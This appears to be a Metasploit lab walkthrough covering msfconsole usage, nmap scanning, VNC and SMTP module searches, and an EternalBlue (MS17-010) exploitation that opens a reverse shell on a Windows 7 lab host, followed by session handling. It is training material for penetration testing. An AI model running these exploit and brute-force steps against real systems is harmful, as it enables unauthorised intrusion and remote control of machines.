creds List all credentials in the database
Developer Commands
==================
Command Description
------- -----------
edit Edit the current module or a file with the preferred editor
irb Open an interactive Ruby shell in the current context
log Display framework.log paged to the end if possible
pry Open the Pry debugger on the current module or Framework
reload_lib Reload Ruby library files from specified paths
msfconsole
==========
`msfconsole` is the primary interface to Metasploit Framework. There is quite a
lot that needs go here, please be patient and keep an eye on this space!
Building ranges and lists
-------------------------
Many commands and options that take a list of things can use ranges to avoid
having to manually list each desired thing. All ranges are inclusive.
### Ranges of IDs
Commands that take a list of IDs can use ranges to help. Individual IDs must be
separated by a `,` (no space allowed) and ranges can be expressed with either
`-` or `..`.
### Ranges of IPs
There are several ways to specify ranges of IP addresses that can be mixed
together. The first way is a list of IPs separated by just a ` ` (ASCII space),
with an optional `,`. The next way is two complete IP addresses in the form of
`BEGINNING_ADDRESS-END_ADDRESS` like `127.0.1.44-127.0.2.33`. CIDR
specifications may also be used, however the whole address must be given to
Metasploit like `127.0.0.0/8` and not `127/8`, contrary to the RFC.
Additionally, a netmask can be used in conjunction with a domain name to
dynamically resolve which block to target. All these methods work for both IPv4
and IPv6 addresses. IPv4 addresses can also be specified with special octet
ranges from the [NMAP target
specification](https://nmap.org/book/man-target-specification.html)
### Examples
Terminate the first sessions:
sessions -k 1
Stop some extra running jobs:
jobs -k 2-6,7,8,11..15
Check a set of IP addresses:
check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255
Target a set of IPv6 hosts:
set RHOSTS fe80::3990:0000/110, ::1-::f0f0
Target a block from a resolved domain name:
set RHOSTS www.example.test/24
msf5 > db_nmap -sV -p- 10.10.31.207
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-24 16:24 UTC
[*] Nmap: Nmap scan report for ip-10-10-31-207.eu-west-1.compute.internal (10.10.31.207)
[*] Nmap: Host is up (0.0012s latency).
[*] Nmap: Not shown: 65530 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 21/tcp open ftp ProFTPD 1.3.5e
[*] Nmap: 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ACME IT SUPPORT)
[*] Nmap: 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ACME IT SUPPORT)
[*] Nmap: 8000/tcp open http WebFS httpd 1.21
[*] Nmap: MAC Address: 02:BB:07:1A:12:B1 (Unknown)
[*] Nmap: Service Info: Host: IP-10-10-31-207; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 22.76 seconds
msf5 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
10.10.31.207 02:bb:07:1a:12:b1 ip-10-10-31-207.eu-west-1.compute.internal Unknown device
msf5 > services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.31.207 21 tcp ftp open ProFTPD 1.3.5e
10.10.31.207 22 tcp ssh open OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 Ubuntu Linux; protocol 2.0
10.10.31.207 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: ACME IT SUPPORT
10.10.31.207 445 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: ACME IT SUPPORT
10.10.31.207 8000 tcp http open WebFS httpd 1.21
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > hosts -R
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
10.10.31.207 02:bb:07:1a:12:b1 ip-10-10-31-207.eu-west-1.compute.internal Unknown device
RHOSTS => 10.10.31.207
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS 10.10.31.207 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
[-] 10.10.31.207:445 - Host does NOT appear vulnerable.
[*] 10.10.31.207:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_ms17_010) > services -S netbios
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.31.207 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: ACME IT SUPPORT
10.10.31.207 445 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: ACME IT SUPPORT
msf5 auxiliary(scanner/smb/smb_ms17_010) >
Vulnerability Scanning
Metasploit allows you to quickly identify some critical vulnerabilities that could be considered as “low hanging fruit”. The term “low hanging fruit” usually refers to easily identifiable and exploitable vulnerabilities that could potentially allow you to gain a foothold on a system and, in some cases, gain high-level privileges such as root or administrator.
Finding vulnerabilities using Metasploit will rely heavily on your ability to scan and fingerprint the target. The better you are at these stages, the more options Metasploit may provide you. For example, if you identify a VNC service running on the target, you may use the search function on Metasploit to list useful modules. The results will contain payload and post modules. At this stage, these results are not very useful as we have not discovered a potential exploit to use just yet. However, in the case of VNC, there are several scanner modules that we can use. Example: VNC scanning modules
msf6 > use auxiliary/scanner/vnc/ use auxiliary/scanner/vnc/ard_root_pw use auxiliary/scanner/vnc/vnc_login use auxiliary/scanner/vnc/vnc_none_auth msf6 > use auxiliary/scanner/vnc/
You can use the info command for any module to have a better understanding of its use and purpose. VNC login scanner
msf6 auxiliary(scanner/vnc/vnc_login) > info
Name: VNC Authentication Scanner
Module: auxiliary/scanner/vnc/vnc_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by: carstein jduck
Check supported: No
Basic options: Name Current Setting Required Description
BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no The password to test PASS_FILE /opt/metasploit-framework-5101/data/wordlists/vnc_passwords.txt no File containing passwords, one per line Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 5900 yes The target port (TCP) STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads (max one per host) USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts
Description: This module will test a VNC server on a range of machines and report successful logins. Currently it supports RFB protocol version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge response authentication method.
References: https://cvedetails.com/cve/CVE-1999-0506/
msf6 auxiliary(scanner/vnc/vnc_login) >
As you can see, the vnc_login module can help us find login details for the VNC service.
msf5 auxiliary(scanner/smb/smb_ms17_010) > search vnc
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/vnc/realvnc_41_bypass 2006-05-15 normal No RealVNC NULL Authentication Mode Bypass
1 auxiliary/scanner/http/thinvnc_traversal 2019-10-16 normal No ThinVNC Directory Traversal
2 auxiliary/scanner/vnc/ard_root_pw normal No Apple Remote Desktop Root Vulnerability
3 auxiliary/scanner/vnc/vnc_login normal No VNC Authentication Scanner
4 auxiliary/scanner/vnc/vnc_none_auth normal No VNC Authentication None Detection
5 auxiliary/server/capture/vnc normal No Authentication Capture: VNC
6 exploit/multi/misc/legend_bot_exec 2015-04-27 excellent Yes Legend Perl IRC Bot Remote Code Execution
7 exploit/multi/vnc/vnc_keyboard_exec 2015-07-10 great No VNC Keyboard Remote Code Execution
8 exploit/windows/vnc/realvnc_client 2001-01-29 normal No RealVNC 3.3.7 Client Buffer Overflow
9 exploit/windows/vnc/ultravnc_client 2006-04-04 normal No UltraVNC 1.0.1 Client Buffer Overflow
10 exploit/windows/vnc/ultravnc_viewer_bof 2008-02-06 normal No UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
11 exploit/windows/vnc/winvnc_http_get 2001-01-29 average No WinVNC Web Server GET Overflow
12 payload/windows/vncinject/bind_hidden_ipknock_tcp normal No VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
13 payload/windows/vncinject/bind_hidden_tcp normal No VNC Server (Reflective Injection), Hidden Bind TCP Stager
14 payload/windows/vncinject/bind_ipv6_tcp normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
15 payload/windows/vncinject/bind_ipv6_tcp_uuid normal No VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
16 payload/windows/vncinject/bind_named_pipe normal No VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
17 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
18 payload/windows/vncinject/bind_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
19 payload/windows/vncinject/bind_tcp_rc4 normal No VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
20 payload/windows/vncinject/bind_tcp_uuid normal No VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
21 payload/windows/vncinject/find_tag normal No VNC Server (Reflective Injection), Find Tag Ordinal Stager
22 payload/windows/vncinject/reverse_hop_http normal No VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
23 payload/windows/vncinject/reverse_http normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
24 payload/windows/vncinject/reverse_http_proxy_pstore normal No VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
25 payload/windows/vncinject/reverse_ipv6_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
26 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
27 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
28 payload/windows/vncinject/reverse_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager
29 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
30 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
31 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
32 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
33 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
34 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
35 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
36 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
37 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
38 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
39 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
40 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
41 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
42 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
43 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
44 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
45 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
46 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
47 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
48 post/multi/gather/remmina_creds normal No UNIX Gather Remmina Credentials
49 post/osx/gather/enum_chicken_vnc_profile normal No OS X Gather Chicken of the VNC Profile
50 post/osx/gather/vnc_password_osx normal No OS X Display Apple VNC Password
51 post/windows/gather/credentials/mremote normal No Windows Gather mRemote Saved Password Extraction
52 post/windows/gather/credentials/vnc normal No Windows Gather VNC Password Extraction
Interact with a module by name or index, for example use 52 or use post/windows/gather/credentials/vnc
msf5 auxiliary(scanner/smb/smb_ms17_010) > use 3
msf5 auxiliary(scanner/vnc/vnc_login) > info
Name: VNC Authentication Scanner
Module: auxiliary/scanner/vnc/vnc_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
carstein <carstein.sec@gmail.com>
jduck <jduck@metasploit.com>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no The password to test
PASS_FILE /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5900 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME <BLANK> no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Description:
This module will test a VNC server on a range of machines and report
successful logins. Currently it supports RFB protocol version 3.3,
3.7, 3.8 and 4.001 using the VNC challenge response authentication
method.
References:
https://cvedetails.com/cve/CVE-1999-0506/
msf5 auxiliary(scanner/vnc/vnc_login) > search smtp
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/client/smtp/emailer normal No Generic Emailer (SMTP)
1 auxiliary/dos/smtp/sendmail_prescan 2003-09-17 normal No Sendmail SMTP Address prescan Memory Corruption
2 auxiliary/dos/windows/smtp/ms06_019_exchange 2004-11-12 normal No MS06-019 Exchange MODPROP Heap Overflow
3 auxiliary/fuzzers/smtp/smtp_fuzzer normal No SMTP Simple Fuzzer
4 auxiliary/scanner/http/gavazzi_em_login_loot normal No Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database
5 auxiliary/scanner/smtp/smtp_enum normal No SMTP User Enumeration Utility
6 auxiliary/scanner/smtp/smtp_ntlm_domain normal No SMTP NTLM Domain Extraction
7 auxiliary/scanner/smtp/smtp_relay normal No SMTP Open Relay Detection
8 auxiliary/scanner/smtp/smtp_version normal No SMTP Banner Grabber
9 auxiliary/server/capture/smtp normal No Authentication Capture: SMTP
10 auxiliary/vsploit/pii/email_pii normal No VSploit Email PII
11 exploit/linux/smtp/apache_james_exec 2015-10-01 normal Yes Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write
12 exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent No Exim and Dovecot Insecure Configuration Command Injection
13 exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Yes Exim GHOST (glibc gethostbyname) Buffer Overflow
14 exploit/linux/smtp/haraka 2017-01-26 excellent Yes Haraka SMTP Command Injection
15 exploit/unix/local/opensmtpd_oob_read_lpe 2020-02-24 average Yes OpenSMTPD OOB Read Local Privilege Escalation
16 exploit/unix/smtp/clamav_milter_blackhole 2007-08-24 excellent No ClamAV Milter Blackhole-Mode Remote Code Execution
17 exploit/unix/smtp/exim4_string_format 2010-12-07 excellent No Exim4 string_format Function Heap Buffer Overflow
18 exploit/unix/smtp/morris_sendmail_debug 1988-11-02 average Yes Morris Worm sendmail Debug Mode Shell Escape
19 exploit/unix/smtp/opensmtpd_mail_from_rce 2020-01-28 excellent Yes OpenSMTPD MAIL FROM Remote Code Execution
20 exploit/unix/smtp/qmail_bash_env_exec 2014-09-24 normal No Qmail SMTP Bash Environment Variable Injection (Shellshock)
21 exploit/unix/webapp/squirrelmail_pgp_plugin 2007-07-09 manual No SquirrelMail PGP Plugin Command Execution (SMTP)
22 exploit/windows/browser/communicrypt_mail_activex 2010-05-19 great No CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow
23 exploit/windows/browser/oracle_dc_submittoexpress 2009-08-28 normal No Oracle Document Capture 10g ActiveX Control Buffer Overflow
24 exploit/windows/email/ms07_017_ani_loadimage_chunksize 2007-03-28 great No Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)
25 exploit/windows/http/mdaemon_worldclient_form2raw 2003-12-29 great Yes MDaemon WorldClient form2raw.cgi Stack Buffer Overflow
26 exploit/windows/smtp/mailcarrier_smtp_ehlo 2004-10-26 good Yes TABS MailCarrier v2.51 SMTP EHLO Overflow
27 exploit/windows/smtp/mercury_cram_md5 2007-08-18 great No Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow
28 exploit/windows/smtp/ms03_046_exchange2000_xexch50 2003-10-15 good Yes MS03-046 Exchange 2000 XEXCH50 Heap Overflow
29 exploit/windows/smtp/njstar_smtp_bof 2011-10-31 normal Yes NJStar Communicator 3.00 MiniSMTP Buffer Overflow
30 exploit/windows/smtp/sysgauge_client_bof 2017-02-28 normal No SysGauge SMTP Validation Buffer Overflow
31 exploit/windows/smtp/wmailserver 2005-07-11 average No SoftiaCom WMailserver 1.0 Buffer Overflow
32 exploit/windows/smtp/ypops_overflow1 2004-09-27 average Yes YPOPS 0.6 Buffer Overflow
33 exploit/windows/ssl/ms04_011_pct 2004-04-13 average No MS04-011 Microsoft Private Communications Transport Overflow
34 post/windows/gather/credentials/outlook normal No Windows Gather Microsoft Outlook Saved Password Extraction
Interact with a module by name or index, for example use 34 or use post/windows/gather/credentials/outlook
msf5 auxiliary(scanner/vnc/vnc_login) > use 7
msf5 auxiliary(scanner/smtp/smtp_relay) > info
Name: SMTP Open Relay Detection
Module: auxiliary/scanner/smtp/smtp_relay
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Campbell Murray
xistence <xistence@0x90.nl>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXTENDED false yes Do all the 16 extended checks
MAILFROM sender@example.com yes FROM address of the e-mail
MAILTO target@example.com yes TO address of the e-mail
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
This module tests if an SMTP server will accept (via a code 250) an
e-mail by using a variation of testing methods. Some of the extended
methods will try to abuse configuration or mailserver flaws.
References:
http://www.ietf.org/rfc/rfc2821.txt
https://svn.nmap.org/nmap/scripts/smtp-open-relay.nse
Who wrote the module that allows us to check SMTP servers for open relay? Campbell Murray
Exploitation
As the name suggests, Metasploit is an exploitation framework. Exploits are the most populated module category.
Metasploit version details
=[ metasploit v5.0.101-dev]
- -- --=[ 2048 exploits - 1105 auxiliary - 344 post]
- -- --=[ 562 payloads - 45 encoders - 10 nops]
- -- --=[ 7 evasion]
You can search exploits using the search command, obtain more information about the exploit using the info command, and launch the exploit using exploit. While the process itself is simple, remember that a successful outcome depends on a thorough understanding of services running on the target system.
Most of the exploits will have a preset default payload. However, you can always use the show payloads command to list other commands you can use with that specific exploit. Available payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
Compatible Payloads
Name Disclosure Date Rank Check Description
0 generic/custom manual No Custom Payload 1 generic/shell_bind_tcp manual No Generic Command Shell, Bind TCP Inline 2 generic/shell_reverse_tcp manual No Generic Command Shell, Reverse TCP Inline 3 windows/x64/exec manual No Windows x64 Execute Command 4 windows/x64/loadlibrary manual No Windows x64 LoadLibrary Path 5 windows/x64/messagebox manual No Windows MessageBox x64 6 windows/x64/meterpreter/bind_ipv6_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager 7 windows/x64/meterpreter/bind_ipv6_tcp_uuid manual No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support 8 windows/x64/meterpreter/bind_named_pipe manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager 9 windows/x64/meterpreter/bind_tcp manual No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager 10 windows/x64/meterpreter/bind_tcp_rc4 manual No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
Once you have decided on the payload, you can use the set payload command to make your choice. Payload options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload 2 payload => generic/shell_reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msf6 exploit(windows/smb/ms17_010_eternalblue) >
Note that choosing a working payload could become a trial and error process due to environmental or OS restrictions such as firewall rules, anti-virus, file writing, or the program performing the payload execution isn't available (eg. payload/python/shell_reverse_tcp).
Some payloads will open new parameters that you may need to set, running the show options command once more can show these. As you can see in the above example, a reverse payload will at least require you to set the LHOST option. Setting the LHOST value and running the exploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.186.44 lhost => 10.10.186.44 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[] Started reverse TCP handler on 10.10.186.44:4444
[] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[] 10.10.12.229:445 - Scanned 1 of 1 hosts (100% complete)
[] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[] 10.10.12.229:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[] 10.10.12.229:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[] 10.10.12.229:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[] 10.10.12.229:445 - Sending final SMBv2 buffers.
[] 10.10.12.229:445 - Sending last fragment of exploit packet!
[] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[] 10.10.12.229:445 - Sending egg to corrupted connection.
[] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Command shell session 1 opened (10.10.186.44:4444 -> 10.10.12.229:49366) at 2021-08-20 04:51:19 +0100
C:\Windows\system32>
Once a session is opened, you can background it using CTRL+Z or abort it using CTRL+C. Backgrounding a session will be useful when working on more than one target simultaneously or on the same target with a different exploit and/or shell. Backgrounding the session
C:\Windows\system32>^Z Background session 1? [y/N] y msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
Active sessions
Id Name Type Information Connection
1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.10.186.44:4444 -> 10.10.12.229:49366 (10.10.12.229)
msf6 exploit(windows/smb/ms17_010_eternalblue) >
Working with sessions
The sessions command will list all active sessions. The sessions command supports a number of options that will help you manage sessions better. Sessions help menu
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -h Usage: sessions [options] or sessions [id]
Active session manipulation and interaction.
OPTIONS:
-C Run a Meterpreter Command on the session given with -i, or all
-K Terminate all sessions
-S Row search filter.
-c Run a command on the session given with -i, or all
-d List all inactive sessions
-h Help banner
-i Interact with the supplied session ID
-k Terminate sessions by session ID and/or range
-l List all active sessions
-n Name or rename a session by ID
-q Quiet mode
-s Run a script or module on the session given with -i, or all
-t Set a response timeout (default: 15)
-u Upgrade a shell to a meterpreter session on many platforms
-v List all active sessions in verbose mode
-x Show extended information in the session table
Many options allow specifying session ranges using commas and dashes. For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6
msf6 exploit(windows/smb/ms17_010_eternalblue) >
You can interact with any existing session using the sessions -i command followed by the session ID. Interacting with sessions
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions
Active sessions
Id Name Type Information Connection
1 shell x64/windows Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation... 10.10.186.44:4444 -> 10.10.12.229:49366 (10.10.12.229)
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 1 [*] Starting interaction with 1...
C:\Windows\system32>
Deploy the target machine and answer the questions below:
root@kali:~# msfconsole
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. d8, d8P
d8P #$$$$$$$$$$$$$$$$$$$$$$$$$$$b. `BP d888888p
d888888P '7$$$$\""""''^^`` .7$$$|D*"'``` ?88'
d8bd8b.d8p d8888b ?88' d888b8b _.os#$|8*"` d8P ?8b 88P
88P`?P'?P d8b_,dP 88P d8P' ?88 .oaS###S*"` d8P d8888b $whi?88b 88b
d88 d8 ?8 88b 88b 88b ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"` `?88' ?88 ?88 88b d88 d88
.a#$$$$$$"` 88b d8P 88b`?8888P'
,s$$$$$$$"` 888888P' 88n _.,,,ass;:
.a$$$$$$$P` d88P' .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________ ,&$$$$$$'_____
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .
=[ metasploit v5.0.101-dev ]
+ -- --=[ 2049 exploits - 1108 auxiliary - 344 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Tired of setting RHOSTS for modules? Try globally setting it with setg RHOSTS x.x.x.x
msf5 > search eternalblue
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
